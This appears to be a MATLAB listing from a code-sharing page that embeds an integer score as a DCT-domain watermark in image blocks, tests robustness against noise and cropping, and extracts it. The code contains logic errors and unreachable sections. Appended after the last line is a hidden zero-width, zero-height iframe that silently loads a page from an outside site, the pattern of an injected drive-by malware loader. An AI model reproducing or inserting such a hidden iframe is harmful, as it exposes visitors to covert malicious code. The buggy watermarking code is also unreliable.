📄 add_score.m
字号:
%**************************************************************************
% filename: add_score.m
% function: 在图像中加入某个分数值(int),然后检测这个分数,要求在图像受到攻击时能有效(100%)提取这个值
% date:
% develope: sd
%**************************************************************************
function add_score ()
% 将从键盘输入的分数值嵌入到图像中
score=input('请输入分数:'); % 从键盘输入某个分数
% display('这个分数是:');disp(score); % 显示这个分数
disp('这个分数是:');disp(score); % 显示这个分数
% str_score=dec2bin(score); % 转换后的值是一个字符串
% num_score=str2num(str_score); % 转化为 10 进制
% disp(str_score); % 只显示变量
bit_matrix = bitget(score,8:-1:1); % 生成对应的位矩阵
disp('对应的比特流是:');disp(bit_matrix); % 显示这个分数对应的比特流
for i=1:length(bit_matrix) % 小矩阵可以用循环指令,对于大的矩阵,可用 find 命令
if bit_matrix(i)==0
bit_matrix(i)=-1;
end
end
% bit_matrix, 测试
% 将这个向量作为水印序列加入到图像中,共有8个值,因此将图像分为8块即可,每一块加入1bit 信息
% 文件名称:C:\MATLAB6p5p1\work\S05370902150452_01_5.JPG(560x764)
%**************************************************************************
% 定义常量
% size=256; % 对图像进行分块处理,每块进行DCT变换
block=8; % 图像分为8块,对应8个比特值
I=imread('C:\MATLAB6p5p1\work\S05370902150452_01_5','jpg'); % 读入图像文件
[height width]=size(I); % 得到图像的行和列
block_row=height/2;
block_colum=width/4; % 8块=2x4
% LENGTH=size*size/64; % 高斯水印的长度,每一块加入一个水印值
% Alpha1=0.02; Alpha2=0.1; % 定义参数 0.02~0.1
Alpha1=0.05;
Alpha2=0.05;
T1=1000; % 阈值参数,这是一个经验值,需要大量的实验
I=zeros(height,width); % 空白图像,图像中0为最黑,1为最白
D=zeros(height,width);
BW=zeros(height,width); % 256X256
block_dct1=zeros(block_row,block_colum);
%产生高斯水印,并显示水印信息;
% randn('seed',10);mark=randn(1,LENGTH);
% mark=abs(mark*100); % 将水印信号放大 50 倍,改变水印嵌入算法,并且为正值
mark=bit_matrix; % 水印信号更新
subplot(2,3,1);bar(mark);title('水印:分数比特流'); % watermarc:Gaussian noise
%显示原图
I=imread('C:\MATLAB6p5p1\work\S05370902150452_01_5','jpg'); % 读入图像文件(第五题)
% image(I); % 可显示真彩图像
subplot(2,3,2);
imshow(I);title('真彩图像 256X256X3 格式*.jpg');
%-----------------------------------------真彩时备用---------------------------
%I=rgb2gray(I); % 将 rgb 格式的图像转化为灰度图像
% I,
% imview(I) ; % 察看图像文件
%imwrite(I,'C:\MATLAB6p5p1\work\S05370902150452_01_5_1.jpg'); % 保存转化后的图像文件为 lena_256x256_gray.jpg
%-----------------------------------------真彩时备用---------------------------
subplot(2,3,3);
imshow(I);title('灰度图像 256X256X1 格式*.jpg'); % 显示原始的图像
%显示prewitt为算子的边缘图
BW=edge(I,'prewitt');subplot(2,3,4);imshow(BW); % 图像的高频信息(边缘信息),能量主要集中在高频部分(对英语图像中的白色线条)
title('图像的高频信息(边缘信息)');
% return
%嵌入水印
k=1;
T=[];
for m=1:2
for n=1:4
x=(m-1)*block_row+1; y=(n-1)*block_colum+1;
block_dct1=I(x:x+block_row-1,y:y+block_colum-1); % 截取图像块 block_rowXblock_colum
block_dct1=dct2(block_dct1); % 对图像进行二维 DCT 变换,能量主要集中在低频部分,也就是矩阵中的第一个值
BW_8_8=BW(x:x+block_row-1,y:y+block_colum-1);
if m<=1|n<=1
T_sub=0;
else
T_sub=sum(BW_8_8); T_sub=sum(T_sub); % 对每个块的边缘信息求和 (矩阵求和需要两个sum)
end
if T_sub>T1
Alpha=Alpha2; % 如果高频能量大于设定的值,选择相对较大的水印嵌入强度系数
else
Alpha=Alpha1; % 如果高频能量小于设定的值,选择相对较小的水印嵌入强度系数
end
dct_org(k,1)=block_dct1(1,1); % 保存原始的dct系数,大小为 m*n 的列向量,用于提取水印
block_dct1(1,1)=block_dct1(1,1)*(1+Alpha*mark(k)); % 水印的嵌入(图像块的第一个值) ,嵌入到 DCT
% block_dct1(1,1)=block_dct1(1,1)+Alpha*mark(k);
block_dct1=idct2(block_dct1); % 反离散余玄变换
D(x:x+block_row-1,y:y+block_colum-1)=block_dct1; % 恢复图像的像素
aifa(k,1)=Alpha;
T(k,1)=T_sub;
k=k+1;
end
end
% T=T, % 显示图像块的高频系数和,每个元素对应一个图像块,是一个列向量
% dct_org(1:10),
% aifa,
%显示嵌入水印后的图像
subplot(2,3,5);imshow(D,[]);title('嵌入水印后的图像'); % 这里要特别注意 imshow()函数中,参数[]不能缺省
% 保存嵌入水印以后的图像
% image(D) ;
% imview(D) ;
D=uint8(D);
imwrite(D,'C:\MATLAB6p5p1\work\S05370902150452_01_5_wmk.jpg'); % 保存文件时,矩阵类型必须是 uint8,uint16,或者是 double型
%**************************************************************************
% 提取水印,需要原始的文件 lena_256x256_gray.jpg
%**************************************************************************
ImageOrg=imread('lena_256x256_gray.jpg'); % 只有文件名称时,默认路径在 work目录 下
ImageWmk=imread('C:\MATLAB6p5p1\work\S05370902150452_01_5_wmk.jpg'); % 读入图像文件
% <0> 对图像进行攻击
% ImageWmk=sub1(ImageWmk,block_row,block_colum); % 子程序1 灰度变化
ImageWmk=sub2(ImageWmk,block_row,block_colum); % 子程序2 图像剪切
% imshow(I),pause
% <1> 对加入水印后的图像分割(8X8的图像块)进行 DCT 变换
I=ImageWmk; % I是加入水印以后的图像
k=1; % 初始化 dct 系数下标
for m=1:2
for n=1:4
x=(m-1)*block_row+1; y=(n-1)*block_colum+1;
block_dct1=I(x:x+block_row-1,y:y+block_colum-1); % 截取图像块 8x8
block_dct1=dct2(block_dct1); % 对图像进行二维 DCT 变换,能量主要集中在低频部分,也就是矩阵中的第一个值
BW_8_8=BW(x:x+block_row-1,y:y+block_colum-1); % 根据原始图像的边缘信息确定 aifa(水印嵌入强度) 的大小,其中 BW 是原始图像的边缘信息矩阵(256X256)
% if m<=1|n<=1
% T=0;
% else
% T=sum(BW_8_8); T=sum(T); % 对每个块的边缘信息求和 (矩阵求和需要两个sum)
% end
% if T>T1
% Alpha=Alpha2; % 如果高频能量大于设定的值,选择相对较大的水印嵌入强度系数
% else
% Alpha=Alpha1; % 如果高频能量小于设定的值,选择相对较小的水印嵌入强度系数
% end
dct_wmk(k,1)=block_dct1(1,1); % 保存加入水印后的dct系数,大小为 m*n 的列向量,用于提取水印
k=k+1; % k 的数值决定于循环的次数,k的最大值为 mxn
end
end
%**************************************************************************
% <2> 提取水印算法(嵌入算法的逆过程),输入 dct_wmk dct_org,aifa 输出 wmk
%**************************************************************************
% dct_org_t=dct_org(1:10)',
% dct_wmk_t=dct_wmk(1:10)', % 测试用
dct_org_t=dct_org,dct_wmk_t=dct_wmk,
wmk=sign(dct_wmk -dct_org); % 计算水印的表达式
% wmk=(dct_wmk-dct_org)./aifa;
subplot(2,3,6);bar(wmk);title('抽取的水印')
% aifa_aifa=aifa(1:10)',
% wmk_org=mark(100:113),
% wmk_dec=wmk(100:113)',
return
%**************************************************************************
% <3> 抽取的水印序列与原水印序列的相关值
%**************************************************************************
% 请输入原始的水印序列,以 head_10000 模型为例
% load wmk_285_inf.mat, % 包含有 aifa,wmk_50,n_wmk_index,n_wmk_num四个变量
wmk=wmk_org; % 原始的水印 wmk
% 请输入抽取的水印序列
% load ex_wmk_285_noise_n0, % 抽取的水印 ex_wmk_50
% wmk_test=sign(wmk_test);
wmk_test=wmk_dec;
% setdiff(wmk,wmk_test),比较wmk,wmk_test两个向量
% <1> 求wmk的平均值和wmk_test的平均值
n_wmk_num=blockno*blockno;
wmk_jun=sum(wmk)/n_wmk_num,
wmk_test_jun=sum(wmk_test)/n_wmk_num,
a=wmk-wmk_jun;
b=wmk_test-wmk_test_jun;
c=sum(a.*b),
d1=sum(a.*a);d1=d1^0.5;
d2=sum(b.*b);d2=d2^0.5;
d=d1*d2;
display('相关值为:')
corr_result=c/d,
return
%**************************************************************************
%********************SUB 子程序********************************************
%**************************************************************************
%子程序 sub1 ,输入:I ,输出: I ,功能:对加入水印后的图像进行攻击(灰度值进行变化,加入随机噪声)***********
function xx=sub1(ImageWmk,block_row,block_colum)
% ImageWmk=double(ImageWmk)-0.5;
ImageWmk=double(ImageWmk); % 数据类型转换
[m n]=size(ImageWmk);
ImageWmk=ImageWmk+randn(m,n); % 加入随机噪声
xx=ImageWmk;
return
%**************************************************************************
%子程序 sub2 ,输入:I ,输出: I ,功能:对加入水印后的图像进行攻击(图像的剪切)***********
function xx=sub2(ImageWmk,block_row,block_colum)
% ImageWmk=double(ImageWmk)-0.5;
ImageWmk=double(ImageWmk); % 数据类型转换
ImageWmk(230:238,25:35)=0; % 剪切掉中间的一块,背景黑
% ImageWmk(230:238,25:35)=255; % 剪切掉中间的一块,背景白
xx=ImageWmk;
return<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -